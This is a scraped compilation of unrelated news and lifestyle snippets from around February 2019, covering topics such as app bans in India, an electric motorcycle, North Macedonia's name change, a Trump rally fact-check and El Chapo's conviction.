The Facebook-owned app has so far not yet responded to media inquiries as to why the two politicians have been banned from the platform. Of course, both claim to have not violated any of the app's Terms of Service.

The thing is, you can be banned from WhatsApp even if no one else reports you, so long as the company is aware of you violating its ToS. Of course, being caught sending illegal or threatening messages can net you a ban, as can obscenity, racism, hate speech, and the like. You can find the whole list here.

Most importantly though, you can also be banned for "publishing falsehoods, misrepresentations, or misleading statements." Basically, that means you can be banned for even forwarding fake news. We already know that's a huge problem in India, where many people tend to propagate WhatsApps as if they were unassailable truth, without even verifying first.

Also Read: India Is Addicted To WhatsApp More Than Any Other Social Media, And Knows It Can Be Dangerous

There's no concrete evidence yet mind, but it's quite possible the two TDP leaders were banned for spreading a hoax WhatsApp message. The likelihood of it increases, given their connection to each other and the possibility they were in the same chat groups.

It's all speculation right now of course, and maybe WhatsApp will eventually come out and state for sure why the two have been banned.TikTok was supposed to be a medium to "express yourself". But the Tamil Nadu government thinks people are expressing far too much.

They're looking to ban the app in the country for being too vulgar, and possibly triggering law and order problems in future.

The Tamil Nadu government yesterday told members of the assembly that it will take steps to ensure the app is banned. AIADMK MLA Thamimun Ansari called its content "vulgar", and IT Minister M Manikandan said they would urge the central government to issue a ban.

TikTok, which is owned by China-based ByteDance, is at its core a video sharing platform. Where the now-defunct Vine was short videos of any kind, TikTok is more aligned towards lip-syncing clips.

Either way however, it's recently gained a massive following across the world, and especially in India, where users mouth the words to Bollywood songs or show off a few dance moves. Of course, with a community as vast as it has, some of those might be a little titillating.

Also Read: How Pedophiles In India Are Using Chinese Video Sharing Apps To Groom Girls Into Online Porn

However, there have been allegations of a darker nature as well, of how sexual predators are using it to groom underage children to be comfortable in front of a camera.As the world embraces more and more electric vehicles, automobile startups have started making a space for themselves in the industry, coming up with unique offerings with electric drivetrains. A recent example of this is the Finnish motorcycle startup RMK, which has now unveiled an all electric motorcycle with a clever wheel design.

The E2, as the motorcycle is called, looks nothing like any conventional motorcycle. At the least, it has the appearance of a present-day street naked motorcycle coupled to a futuristic two-wheeler like the one seen in Tron: Legacy.

RMK E2 (Image: RMK)

Also read: Largest Ever Convoy Of 55 Self Driving Cars Creates World Record By Driving Without Any Human Input

A testimony to that are the revolutionary hub-less wheels that the bike comes with. Attached to it are three power cables leading to the rim-mounted motor that drives it. As per the company, the wheels design reduces rotational mass and hence is able to deliver 67 hp and 236 lb-ft of torque.

In addition, the system works as a regenerative brake to help charge the battery on the go, activated by the left handlebar lever. As for the battery capacity, the company promises a range of 200 to 300 kms on a single charge, numbers pretty much on the higher end in comparison with other such offerings. The right lever corresponds to a conventional twin disc brake on the front wheel.

E2 (Image: RMK)

Also read: This Electric Dune Buggy Concept By Volkswagen Looks Straight Out Of A Hot Wheels Game!

There is also an instrument cluster with built-in navigation at the centre, following the upward trajectory of the tank that is just for show.

The final price of the RMK E2 has not been set as of now but it is supposed to be anywhere near around USD 28,000, a bit less than Harley-Davidsons LiveWire electric bike. The company has not yet announced the markets for the bike though.Google may have started out as just a search engine, but the company has grown to encompass so much more.

Now, it looks like Google is diving headfirst into hardware, supposedly to build microchips for its own smartphones and other devices in future.

Images courtesy: Reuters

According to a Reuters report, recent opening posted on LinkedIn indicate the company has hired at least 20 engineers for what it calls its "gChips" team, and more are expected to be hired soon to. This team will be set up at a new site in Bengaluru, India's technology development hub.

Also Read: 268 Factories & 6.5 Lakh Jobs In 4 Years: India's Phone Manufacturing Sector Continues To Grow

Intriguingly, at least 16 of those 20 employees are veterans in the field of semiconductor development, having worked with the likes of Intel, Qualcomm, Broadcom, and NVIDIA. Based on the report, and posts on Google's own hiring platform, the team may likely grow to 80 members by the end of 2019. Their job is to "fine-tune and test" chip designs before sending final blueprints off to manufacturers.

At the moment, aside from processors for its data servers, Google only makes the image processing chips in its Pixel smartphones. Investing more in chip development, especially in India where Android has a higher market share than Apple compared to the US, could significantly boost their profit margins.

Also Read: 5G Is Coming: We Now Have The First Indian Factory Beginning To Manufacture 5G Equipment

Smartphone battery charger circuit boards at a Noida plant

This also comes close on the heels of news that Apple wants to manufacture more of its devices in India. As opposed to just the cheaper iPhone SE and 6S, it's been said the company also wants to assemble the iPhone X here in order to make it more affordable for the local market.

Of course, there are still details we're unsure about. In fact, the chips being tested in Bengaluru by Google need not even be for its Pixel devices. It's just a hopeful assumption that we'll have to see play out.A CISF official posted at the Varanasi airport saved the life of a Mumbai-bound passenger who suffered cardiac arrest at the airport, a senior official said on Tuesday. Manoj Singh (48) suddenly fainted and fell in the terminal area of the Varanasi airport on Monday noon when he was placing his luggage on the x-ray scanner, he said. On-duty CISF Inspector Niraj Kumar saw the man collapsing and he immediately rushed to help, he said.

Twitter

"The man suffered a cardiac arrest. Without losing any time, Inspector Kumar started administering cardiopulmonary resuscitation (CPR) medical procedure to the passenger. The passenger soon regained his senses and was rushed to a hospital," the official said.

Prompt response by #CISF personnel saved the life of a passenger namely Sh. Manoj Singh who fell down due to cardiac arrest at Varanasi Airport. #CISF Inspector Niraj Kumar rushed to the unconscious passenger & immediately gave CPR to him. pic.twitter.com/hOjdCwVstP  CISF@India (@CISFHQrs) February 11, 2019

The man is now reported by the doctors to be stable, he said.

He was supposed to travel to Mumbai.

The Central Industrial Security Force (CISF) is designated as the lead force to guard 60 civil airports in the country and it has trained a number of its personnel in conducting CPR and similar medical procedures.

(With PTI Inputs)A kiss makes the heart young again and wipes out the years.

Rupert Brooke

And never were truer said... A kiss is the start of many things. It is the start of a connection, a feeling. It gives you immense comfort. No matter where life leads you one day, you'll never forget your first kiss.

What is it about a kiss that at once can tell you so much about the person you're in love with. May be when words fail, a kiss does the job. A kiss is the most beautiful expression of love between two people - it can mean a whole bunch of things: 'I care,' 'I love you,' 'I adore you' and 'You're my special person.'

In the week leading up to Valentine's Day, it makes sense to celebrate International Kiss Day with some of the most memorable and iconic kisses the world witnessed. Because like everything else, even kisses should be celebrated with pride.

1. Times Square's famous kiss

Alfred Eisenstaedt, one of LIFE Magazine's most famous photographers, clicked this iconic photograph of a U.S. Navy sailor grabbing and kissing a strangera woman in a white dresson Victory over Japan Day on August 14, 1945 in New York City's Times Square.



Rare Historical Photos

2. 'The Kiss' by Auguste Rodin

Auguste Rodin brilliantly captured 'The Kiss' with marble sculpture he made in 1882. It shows Paolo Malatesta and Francesca da Rimini, two lovers from Dantes The Divine Comedy, in deep embrace locked in a now-iconic kiss. It's considered to be one of the most famous depictions of love in art.

SlideShare

3. The Socialist 'Fraternal Kiss'

Soviet leader Leonid Brezhnev and East German President Erich Honecker shared a fraternal kiss to honour the 30th anniversary of the German Democratic Republic in 1979 in the name of solidarity exchanged between Eastern Bloc pols in the time when the Soviet Union existed.

SlideShare

4. Shashi Kapoor and Zeenat Aman in Satyam Shivam Sundaram

It was the year 1978 when Shashi Kapoor kissed Zeenat Aman on Indian cinema. The scene became the centre of controversy with the censorship where former Chief Minister of Tamil Nadu and movie actor M.G. Ramachandran claimed it was demeaning the Indian cinema.

bollywoodtadka.in

5. When Britney and Madonna kissed

Who can forget this scene from the 2003 MTV Video Music Awards? The newspaper The Atlanta Journal-Constitution later apologised for running the image on it's front page after receiving complaints from readers.

Billboard

6. Satnley Cup-Vancouver riots kiss couple

This kiss was enjoyed in the middle of riots in Vancouver, Canada. It happened after the Boston Bruins defeated the Vancouver Canucks in Game 7 of the Stanley Cup final. An Australian native Scott Jones and Alexandra Thomas were seen kissing on the ground on June 15, 2011.

thenhl.wikia.com

7. When Usain Bolt kissed the track

A legend and world champion, Jamaican runner Usain Bolt kissed the track after he won the 100m and 200m races in record times at the London Summer Games on Aug. 9, 2012, a first in Olympic history.

Newsfeed

8. The longest kiss

The longest kiss that was 58 hours, 35 minutes and 58 seconds long got placed in the Guinness world record book. It was exchanged between Ekkachai Tiranarat and Laksana Tiranarat at a Ripleys Believe It Or Not event in Pattaya, Thailand, between February 12-14, 2013. The two winners also won a $3,300 cash prize and two diamond rings.

Guinness World Records

9. The Betrayal Kiss of Judas

Judas kissed Jesus, thereby helping those who were out to arrest him. The brutal forces could identify Jesus only after Judas kissed him. This, as we know, culminated in Jesus being crucified.

Bible OdysseyIt's not new that Sikhs have been victims at the USA airport during security checks. While air travel has become difficult for everyone, it's more so for the Sikh community esecially when travelling overseas.

The challenges they face during frisking and swab machines went onto only become bigger when Indianapolis-based Khalsa decided to intervene. Meet Sikh entrepreneur Gurinder Singh Khalsa, who was denied from boarding a flight in Buffalo, New York when he refused to remove his turban after successfully passing through each security measure at the airport.

Twitter

Following suit, Khalsa worked towards bringing the issue in front of the government and made the US change their headgear policies across the nation. And now an 18-year-old American teenager has made a short film, 'Singh' made on his true story in 2007 and the mega campaign that shook the nation.

Directed by Jenna Ruiz, a student and actor from Indiana said, "It is an honour to be able to showcase a moment in history that led to change in our TSA (Transportation Security Administration) Policy regarding the removal of headgear, said Ruiz, who is pursuing bachelors degree in Nuclear Medicine Technology at Indiana University-Purdue University Indianapolis.

PTI

Khalsa was recently conferred with the prestigious Rosa Parks Trailblazer award for his campaign. In the short film, Khalsa is made to choose between his religious beliefs and his flight to see his mother in her last days.

'SINGH' has been filmed at the Indianapolis International Airport and is slated to be released next month. I took this stand for all those who believe in religious liberty and freedom of faith," Khalsa had said earlier in a media statement.

SBS

"Incidents like this one happens for the greater good, where misunderstandings occur between people of different backgrounds and faith, strengthen our society," said Khalsa, who recently announced that he will enter electoral politics in America and will run for City Council of FishersAccording to reports, Hollywood actor Richard Gere is a father once again, at the age of 69 as his wife Alejandra Silva gave birth to a baby boy. Richard Gere's wife Alejandra Silva, a 35-year-old Spanish publicist and activist was blessed with a baby boy recently. This is also their first baby together.

People Magazine

For the uninitiated, Gere also has a 19-year-old son from his previous marriage to actress Carey Lowell.

The news of her pregnancy was broken with an emotional note and picture. She had written,

A very special moment just a few minutes ago Getting blessings for our precious to come.. we couldnt announce it before telling HH Dalai Lama.

In the pictures, Dalai Lama can be seen blessing the couple. Not many know that Gere is a Buddhist and has been a friend to Tibet's exiled spiritual leader. Richard and Alejandra got married last year after dating each other for over three years.Its not your imagination. Losing weight after age 50 really is more challenging. The reasons are a mix of lifestyle ...

Protect yourself from pain and disability with simple exercises you can do at home

Modern life provides a perfect recipe for hip replacement. Because daily activities can involve spending much of our time locked...Let's start this article by mentioning that I am a big movie buff and hardly miss out on any big or small films that release in India. From a Manikarnika, Thackeray, A Quiet Place, Bohemian Rhapsody to now the Green Book, this year has kick-started with a plethora of great blockbusters.

While Indian cinema was harping on political driven films like The Accidental Prime Minister or a Thackeray, Hollywood movies have been upping their game by making movies inspired by true lives.

And this is why it's important to talk about a film that is relevant across all age groups and every era. Green Book is a movie about an African American pianist who is world class at that. But his life is not easy as he's what some parts of the world still say 'Negro' with an Italian chauffeur and the difficulties they find along their way.

Youtube/screengrab

A dramatic comedy, Green Book is a film that needs to be out there for people to see and for them to learn. I have seen the film and without giving much spoilers, let me take you through reasons why this movie is an unmissable one

1. Storyline - America's long standing history with racism

Youtube/screengrab

A fun spin on America's problematic history of racism. The story is set up in 1962 where African Americans and the rest of the America were not the best of friends. Don Shirley (Mahershala Ali), is a world class pianist who has a concert planned in deep South. He's looking for a chauffeur to take him through the tour and gets New York city bouncer Tony (Viggo Mortensen), who is an Italian. They embark on this journey where they learn about each other and about the world apart from music. Don takes on the challenging tour knowing what he shall face. Tony takes it up despite his colleagues reminding him that he could stay back and get thrice as much paid. Why? Because a white guy cannot be a driver to the black.

2. Don and Tony - The unlikely pair

Youtube/screengrab

To begin with, just see the trailer and you'll know what we're talking about. One is a super tall, lean black guy Don Shirley. Tony, the driver on the other hand, is a stout white guy who is unapologetic about his choices or thoughts. Their banter starts when Tony gets on the job and they begin to face clashes. Tony has funny habits like smoking all the time and eating Kentucky Fried Chicken in the car while driving which drives Don Shirley nuts. Don is refined, non-chatty, prefers alone time, but is clearly unsuccessful during the 2 month tour. What happens next is how they stand up sticking for each other when time demands and end up becoming friends. Because in the end it doesn't even matter.

3. Breaking the stereotype

Youtube/screengrab

The movie address two very important issues. Despite being set up in the most powerful country, it shows how culturally misfit African-Americans were considered. An issue which somewhere still exists. It breaks the norm that white and black can be friends or more so, it's okay for a black guy to be rich enough to hire a white man as his driver. The movie shows how they are both looked down upon, the black guy for his race and Tony, for working for him.

That's not all, there was also a subtle presence of homosexuality in the film and how it was tackled back then. To be honest, we're still facing the same issues and it's a problem pan world and continues to break hearts. The way Green Book tackles and breaks the shackles of typical stereotypes is a learning for all of us. Don't judge is a lesson that needs to be told to us everyday and this movie conveys exactly that.

4. Sweeped in Oscar nominations 5 major categories

Youtube/screengrab

The movie premiered at the Toronto Film Festival and opened to positive reviews. Since then, there has been no looking back for the film. The movie has so far minted 100 million dollars worldwide and continues to make more money. Green Book was also chosen as one of the top 10 films of the year by the American Film Institute. The film won the Producers Guild of America Award for Best Theatrical Motion Picture and the Golden Globe Award for Best Motion Picture  Musical or Comedy. Well, that's not all, the it has been nominated at the 91st Academy Awards under five categories, including Best Picture, Best Actor (Mortensen) and Best Supporting Actor (Ali).

5. Based on a true story

popsugar

Would you believe if we tell you that this road trip drama is a real life story of how two people who came together to change the way the world looks at them. Yes, that it's okay to have an inter-racial friendship. Although, as expected the film ran through troubled waters where people cited inaccuracies about the friendship and the state of the country, but the truth is that real life Don and Shirley remained friends until they died within months of each other. Now isn't that a goosebumps fact.

The movie ends on a happy note with a very strong message. If you want to achieve something, you will because it doesn't take a genius but courage to do so.8th September, 2018 witnessed the liberation of love with the decriminalisation of the draconian Sec 377. That love is for all and not just an emotion reserved for the heterosexual community, has finally made its way into the stream of Indias consciousness. And thats what sets apart this Valentines Day from every other gone by  A Valentines Day that can and will be celebrated by anyone and everyone whos in love, without any inhibition, regardless of sexual orientation. Alas, a Valentines Day in India that will bring out love in all its colour and shades. A day of pride, indeed.

On that note, lets make ourselves aware of some of the most progressive symbols around the world that celebrates and pays homage to inclusive love:

1. The Pink Triangle Monument Of Spain

Wikipedia

For those of you who don't know, a pink triangle is considered as the traditional symbol for various LGBTQ identities. In fact, the Pink Triangle Monument on the seaside of Passeig Maritim in Sitges is the reminder of the 1996 riots. The monument was unveiled in 2006 and it read, 'Sitges against homophobia - 'Never again.' This inverted triangle is the first ever LGBTQ monument in Spain, that is also a constant reminder for the world that love is fluid, and love is inclusive.

2. Homomonument In Amsterdam

Netherlands Tourism

Located on the Keizersgracht canal in the center of Amsterdam, the Homomonument was built to commemorate all gay men and lesbians who were wrongfully persecuted by Hitler. The memorial, that takes the form of three connected triangles made of pink granite bricks, was opened in 1987. The triangles are strategically placed and point to - The Anne Frank House, The National War Memorial and The HQ of the COC Nederland. It's a global symbol that supports the LGBTQ community in their struggle against denial, oppression and discrimination.

3. Gay Liberation Monument, USA

Wikipedia

The Gay Liberation Monument was built in 1980 and installed in Wisconsin in 1986, and eventually moved to New York in 1992. The monument honors LGBTQ rights and commemorate events during the Stonewall riots. During early 60's, Stonewall Inn was a well-known bar that catered to the homosexual community of Greenwich Village. However in 1969, police raided the Stonewall Inn and 13 people were arrested. Next day, people gathered to protest the crackdown and advocate the legalization of gay bars. In fact, the Stonewall event is often considered as one of the first trigger points for gay rights movements in the United States. The monument comprises of four figures - two standing males and two seated females in natural, easy poses.

4. Kiss Wall in Brighton

Flickr

Located on Brighton seafront in UK, the iconic Kiss Wall portrays six couples of different genders kissing each other. Erected in 1992, the wall beautifully celebrates equality, love, understanding and acceptance between all individuals.

5. The Sydney Gay and Lesbian Holocaust Memorial

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The Sydney Gay and Lesbian Holocaust Memorial is a pink triangular prism that commemorates gays and lesbians who lost their lives during the Nazi holocaust and in the Soviet labour camps. The memorial comprises of a pink triangle to identify homosexual men, and a black triangle to identify lesbian women. Together, the two triangles form a fractured Star of David. The monument symbolises love, hope, and life.

When it comes to celebrating love and equality, India too has come a long, long way. Thanks to the iconic Section 377 verdict that decriminalized homosexuality in the country. To think about it, this Valentine's Day (February 14) will mark the first time when love finally moves forward, irrespective of gender.

And we aren't the only ones who are a part of this celebration.

Uber is launching its newest movement- #LoveMovesForward and is giving love a new symbol: the Pride Heart, which is a heart emoji in pride colours.

Let's celebrate our first Valentine's Day for all with a symbol everyone can embrace. It's time for an inclusive heart that celebrates the many shades of love. Sign the petition to help us get the Pride Heart emoji. #LoveMovesForward with every sign: https://t.co/Nh8WEhhXgu pic.twitter.com/TfU4WNTpfd  Uber India (@Uber_India) February 12, 2019

Whether its to express our affection or end a silly fight, the heart emoji has always come in handy. But the heart emoji currently represents love in just the one shade, while love on the other hand, has many. Its time we have an emoji that speaks to every heart; in colours that celebrate all kinds of love. The world needs a Pride Heart emoji so that no couple is left behind  and thats exactly what Uber India wants to drive home to our keypads: https://t.co/Nh8WEhhXgu. By signing this petition, you will give a brand new lease of life to love, as we know it. #LoveMovesForward with every sign.Putin retaliated by terminating the program that allowed Americans to adopt Russian orphaned children.

Relief from the Magnitsky sanctions was one of the objectives of the Russians in their now famous Trump Tower meeting with Paul Manafort and Donald Trump Jr. in July 2016.

Perhaps the conduct of Deripaska was not as bad as those who tortured and killed Magnitsky. But backing away from the sanctioning of his companies sends a wrong signal about the determination of Americans to take strong action when corrupt Russian businesses cheat, steal and murder.

So, why are you, I, and other North Carolinians responsible for the lifting of Deripaska sanctions?

The proponents of the sanctions needed only three more votes to win. Senator Bernie Sanders did not vote, but would have voted for the sanctions. The two other necessary votes were those of our Senators Richard Burr and Thom Tillis. If you and I had let them know how strong we were for maintaining the Deripaska sanctions, I think it would have made a difference.

But we just did not get around to making a call to them.

D.G. Martin hosts North Carolina Bookwatch, Sunday 11 a.m. and Tuesday at 5 p.m. on UNC-TV. The program also airs on the North Carolina Channel Tuesday at 8:00 pm and other times.To view prior programs: http://video.unctv.org/show/nc-bookwatch/episodes/Most of us who have experience in sharing the Gospel have learned that just getting into homes is very difficult in the time we live. Yet, most everything learned in FAITH can be used in day to-day life as we meet people on the job, as we exercise or play, or at other social gatherings.

A primary principle is that if we are going to share Jesus where we go we must live the life of Christ naturally. Now, this does not mean we hit people on the head with our faith. We just let others see our faith at work and they will know where we stand. We make sure they know Jesus is the Apple of our eye.

The FAITH Gospel presentation is based on one question and the evaluation of the answer that is given in response. In your personal opinion what do you think it takes for a person to go to heaven? If the person gives any other reply than Faith in the Lord Jesus or words meaning the same thing, you let the Holy Spirit lead you in presenting the FAITH Outline or any other method that explains the way the person can receive Christ into their life.The world's last frankincense forests are under threat after prices soared in recent years thanks to the global appetite for essential oils, Somalia officials have warned.

Overharvesting has led to the trees dying off faster than new ones can grow, putting the ancient resin trade at risk.

"(Frankincense) is something that is literally given by God to humanity, so if we don't preserve it, if we don't take care of it, if we don't look after it, we will lose that," said Shukri Ismail, Somaliland's minister of environment and rural development.

The Cal Madow mountains, which rise from the Gulf of Aden in sheer cliff faces reaching over 8,000 feet, are part of Somaliland, an autonomous republic in Somalia's north west.

The frankincense trade is Somaliland's largest source of government revenue after livestock and livestock products, Mr Ismail said.

Harvesting frankincense is risky. The trees can grow high on cliff edges, shallow roots gripping bare rock slithering with venomous snakes. Harvesters often slip and tumble down canyon walls.

"Every year people either break both legs or die. Those casualties are so often," said harvester Musse Ismail Hassan, adding that he wished he had proper ropes and climbing gear. "It's a very dangerous job, but we don't have any alternative."

Once the resin is collected, women sort the chunks by colour and size. The various classes of resin are shipped to Yemen, Saudi Arabia and eventually Europe and America. Besides its use as incense, frankincense gum is distilled into oil for use in perfumes, skin lotions, medicine and chewing gum.

In the last six years, prices for raw frankincense have shot up from around 1 dollar (80p) per kilogram to 5-7 dollars (4-5.70), said Anjanette DeCarlo, an ecologist and director of Conserve Cal Madow, an environmental group.

The rise in demand is the result of stronger marketing in the essential oils industry, which labels frankincense as the King Of Essential Oils, Ms DeCarlo said. The dwindling supply of high-quality resin, and competition between exporters, are also factors.

Now over-tapping is destroying the trees across the Cal Madow, as tappers try to extract as much sap as possible and make too many cuts per tree. They also tap the trees year-round rather than seasonally, preventing the trees from recovering.

"The death rate of the adult trees is alarming," Ms DeCarlo said. "There is potential for regeneration, but it takes about 40 years or so for these trees to become viable for tapping if it's done right."

Ministers worry the ancient trade could disappear.

"Frankincense that the pharaohs were using came from here, so you could imagine it has a history, it has a rich history," Mr Ismail said. "I'm afraid that we will lose that rich history."

APChallenger bank Starling has raised 75 million from investors to bankroll its expansion into Europe.

Starling secured 60 million from a funding round led by asset manager Merian Global Investors, which was spun out of Old Mutual, and 15 million from Harald McPike, a Bahamas-based fund manager who has pumped millions of pounds into the bank since 2015.

Mr McPike, who runs private investment firm QuantRes, was the first investor to back Starling, which is trying to disrupt the banking sector and take market share from high-street incumbents.

The digital-only bank said the funds will be used to develop new financial products for retail and small business customers as well as help its expansion into the rest of Europe.

Our ambition is to use our technology to build a next-generation global, digital banking platform, starting with our launch across Europe this yearAnne Boden, Starling chief executive

It recently set up a post-Brexit hub in Dublin and plans to launch into France and Germany.

Starling has raised 133 million to date and the bank declined to disclose its current valuation.

Founder and chief executive Anne Boden said: Building our platform and launching in the UK to provide genuine choice to retail, SME (small and medium enterprises) and banking-as-a-service customers was just the first step.

Our ambition is to use our technology to build a next-generation global, digital banking platform, starting with our launch across Europe this year.

Nick Williamson, co-portfolio manager at Merian Chrysalis, which is advised by Merian Global Investors, said: The Starling team has developed a highly impressive and efficient platform, which we believe positions it well to continue to take share in core banking markets, as well as the ability to offer innovative new services in the future.

Starling was founded in 2014 and operates solely from its mobile app. It has 460,000 current account customers and aims to reach one million customers by the end of the year.

The bank recently launched euro current accounts for UK customers to send and receive euro for free and is bolstering its business banking offering having won a grant from the Royal Bank of Scotlands incentivised switching scheme.

Starling is also looking to secure a slice of RBSs capability and innovation fund, with the winners expected to be announced by the end of the month.Workers replace signage with an adhesive banner on the southern border with Greece, near Gevgelija, North Macedonia (Boris Grdanoski/AP)

The Republic of North Macedonia has officially replaced the Republic of Macedonia after the government gazette formally published the historic name deal with Greece.

The move opens the way for the renamed countrys accession to Nato and eventually the European Union.

As a first practical move, workers are replacing road signs on the border with Greece to reflect the name change, which ends a nearly three decade-long dispute with Greece over use of the term Macedonia.

Expand Close Workers remove a road sign that reads Republic of Macedonia on the southern border with Greece, near Gevgelija (Boris Grdanoski/AP) / Facebook

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Whatsapp Workers remove a road sign that reads Republic of Macedonia on the southern border with Greece, near Gevgelija (Boris Grdanoski/AP)

Later, the country will change signs at airports and on official buildings, web pages and printed materials.

Vehicle registration plates will also change, while passports and currency will be replaced over the coming years.

The dispute dates back to the countrys 1991 declaration of independence from Yugoslavia.

Athens argued the name implied claims on the northern Greek province of Macedonia and usurped its ancient Greek heritage.

Although more than 130 countries did recognise the country as Macedonia, the United Nations and other international bodies used the cumbersome moniker Former Yugoslav Republic Of Macedonia, agreed in an interim accord in 1995.

Hundreds of rounds of United Nations-brokered negotiations floundered until last year, when Prime Minister Zoran Zaev and his Greek counterpart Alexis Tsipras agreed to a compromise.

The deal has been met with vociferous objections by large sections of the public on both sides of the border, with critics in both countries accusing their respective governments of conceding too much to the other side.

Expand Close Media near Gevgelija cover the installation of a new road sign with the name Republic of North Macedonia (Boris Grdanoski/AP) / Facebook

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Whatsapp Media near Gevgelija cover the installation of a new road sign with the name Republic of North Macedonia (Boris Grdanoski/AP)

As their countrys new name became a reality, reactions were mixed in Skopje.

Im glad that we are moving forward. After 30 years of difficulties and isolation, my country has a future, said Suzana Alcinova Monevska, a 55-year-old meteorologist.

Im already feeling that with the new name, obstacles are removed. My company has already got many invitations in recent days to participate in EU-sponsored projects.

But others were angered by the name change.

Skopje resident Marinna Stevcevska, 55, said she was deeply disappointed and emotionally hurt by the change.

I will not change my passport as long as I can and Im hoping that something will change to have the old name back, she said.

Ive promised to myself that if Macedonia changes its name, Ill be leaving the country. Im still thinking where to move.

Expand Close Other changes to reflect the name change will take place over the coming weeks and months (Boris Grdanoski/AP) / Facebook

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Whatsapp Other changes to reflect the name change will take place over the coming weeks and months (Boris Grdanoski/AP)

Among the first practical steps North Macedonia must now take is to inform the United Nations and all the countries that had previously recognised it as Macedonia that its name has now changed.

The countrys customs administration will change all its digital records to reflect the new name within three days, while signs at airports and border crossings will be changed.

Vehicle licence plates will be changed within four months, while new passports will start being issued at the end of the year.

New currency will also be printed, but not quite yet.

North Macedonian authorities say the National Bank will create a plan for the gradual replacement of the currency, with the first new banknotes being drawn up early next year.There are about 7,000 tigers living in captivity in the US, nearly twice as many as the estimated 3,800 still in the wild (stock photo)

A man who broke into an abandoned house to smoke marijuana stumbled across more than he bargained for when he discovered a pet tiger inside.

Police in Houston, Texas, said the "concerned citizen" contacted them after he found the overweight mammal crammed inside a tiny cage.

Officers initially assumed the caller was hallucinating.

"They saw a tiger in this building, this vacant house that's obviously been abandoned for some time," said Sergeant Jason Alderete, of the Houston Police Department's animal unit. "They were trying to get into this house to smoke marijuana. We questioned them as to whether they were under the effects of the drugs or they actually saw a tiger."

After securing a warrant to search the property, officers did indeed find the overweight female tiger, which weighed about 160kg.

Despite the beast appearing "friendly" to the police, they decided to tranquilise her so she could be transferred to the city's animal shelter.

Conditions in the abandoned home were poor and the cage was far too small for the tiger to be living in, police said.

But there were also several packages of meat nearby, suggesting its owner had not abandoned the pet entirely.

Heidi Krahn, the head of a local animal charity, told a local TV news channel she had arranged for the tiger to be rehomed at a specialist facility.

There are about 7,000 tigers living in captivity in the US, nearly twice as many as the estimated 3,800 still in the wild.

In many states - including Texas - the private trade of tigers is mostly unregulated.

 Independent News ServiceDonald Trump accused a Democrat governor of supporting the execution of babies, claimed border walls have been shown to reduce crime, and wildly overstated the size of his crowd during a string of falsehoods at a raucous rally in Texas.

The US president also wrongly suggested his political opponents wanted to "shut down" air travel and pledged to "finish the wall" he has not started constructing as he addressed thousands of cheering supporters in El Paso.

His first rally of the year featured a meandering 75-minute speech which indicated potential lines of attack for Mr Trump's 2020 campaign.

The president railed against immigration, abortion, and Democrat policies such as the Green New Deal, and took aim at a possible challenger - Beto O'Rourke, the former congressman who was holding a counter-rally just 2km away.

In perhaps the most bizarre part of the rally, he poked fun at Virginia's Democrat governor Ralph Northam - who has admitted to wearing blackface - before accusing him of being willing to "execute a baby".

Referencing Mr Northam's support for late-term abortion, Mr Trump told supporters to a chorus of angry boos: "The governor stated he would even allow a newborn baby to come out into the world, and wrap the baby, and make the baby comfortable, then talk to the mother and talk to the father, and then execute the baby."

Mr Trump appeared to be misrepresenting the governer's comments last month about late-term abortions "where there may be severe deformities [or] a foetus that's non-viable".

Mr Northam, a paediatric neurologist, had told radio station WTOP: "In this particular example, if a mother is in labour, I can tell you exactly what would happen. The infant would be delivered; the infant would be kept comfortable; the infant would be resuscitated if that's what the mother and the family desire, and then a discussion would ensue between the physicians and the mother."

Mr Trump's depiction of the Green New Deal, a plan put forward by a group of Democrats last week to combat climate change and create thousands of jobs, was no more faithful to the facts.

He wrongly claimed the proposals would mean "you're not allowed to own cows anymore," and end "a little thing called air travel".

He also returned to a falsehood he put forward in support of his border wall - a supposed reduction in crime in El Paso. "When that wall went up, it's a whole different ball game," he said. "Thanks to a powerful border wall in El Paso, Texas, it's one of America's safest cities now."

In fact, the city's murder rate was less than half the national average in 2005, the year before the start of its border fence. El Paso's violent crime rate subsequently increased, although it has since declined at a similar rate to other areas.

Mr Trump's rally took place in a room adorned with banners reading "finish the wall".

Mr Trump's rally was at the El Paso County Coliseum, which holds 6,500 people, according to the 'El Paso Times'. The president, however, claimed to have 35,000 supporters in attendance - though some were outside the venue.The audacious exploits of 'El Chapo' - or 'Shorty' - captured the world's imagination and turned him into a folk hero for some in Mexico, despite the thousands of people killed by his brutal Sinaloa cartel.

In January 2016, after three decades running drugs, Guzman was caught in his native north-western state of Sinaloa.

Six months earlier, he had humiliated Mexico's then-president, Enrique Pena Nieto, by escaping from prison through a mile-long tunnel dug straight into his cell and equipped with a motorbike - his second time escaping a Mexican jail.

Just days after his 2016 capture, Guzman's larger-than-life reputation was sealed when movie star Sean Penn published a lengthy account of an interview he conducted with the drug lord, which the Mexican government said was "essential" to his capture a few months later.

Mexico's government extradited Guzman in January 2017, a day before Donald Trump took office as US president on vows to tighten border security to halt immigration and drug smuggling.

Guzman's legendary reputation in the Mexican underworld began taking shape when he staged his first jailbreak in 2001 by bribing prison guards, before going on to dominate drug trafficking along much of the Rio Grande.

However, many in towns across Mexico remember Guzman better for his squads of hit men who committed thousands of murders, kidnappings and decapitations.

In February 2013, the Chicago Crime Commission dubbed him the city's first Public Enemy No 1 since Al Capone.

Security experts concede the 5ft 6in gangster was exceptional at what he did, managing to outmanoeuvre, outfight or outbribe his rivals to stay at the top.

Guzman carefully observed his mentors' tactics and mistakes, forging alliances that kept him one step ahead of the law for years.

Guzman was born in La Tuna, a village in the Sierra Madre mountains in Sinaloa state where smugglers have grown opium and marijuana since the early 20th century.

He ascended in the 1980s, working with Miguel Angel Felix Gallardo, alias "The Boss of Bosses", who pioneered smuggling routes into the US.

Between 2004 and 2013, Guzman's gangs fought in all major Mexican cities on the US border, turning Ciudad Juarez and Nuevo Laredo into some of the world's most dangerous places.

In one attack, 14 bodies were left mutilated under a note that read: "Don't forget that I am your real daddy" - signed "El Chapo".

'Forbes' magazine put the kingpin's wealth at $1bn, though investigators say it is impossible to know exactly how much he was worth.Thumbs-up gesture: Emma Coronel Aispuro, the wife of Joaquin Guzman, departs after the trial in New York. Photo: Reuters

Joaquin 'El Chapo' Guzman, the world's most notorious drug kingpin, is expected to spend the rest of his life in a US jail after being convicted of running a criminal enterprise that amassed him a $14bn fortune.

Guzman (61) showed no emotion as a jury in New York found him guilty yesterday of 10 drug-related charges.

He will be sentenced on June 25, and will face a mandatory life term.

After the verdicts were read the Mexican drug lord, dressed in a charcoal suit and tie, leaned back in his chair and looked at his wife Emma Coronel Aispuro (29), a beauty queen. Both placed their hands on their hearts and gave each other a thumbs up. She had tears in her eyes.

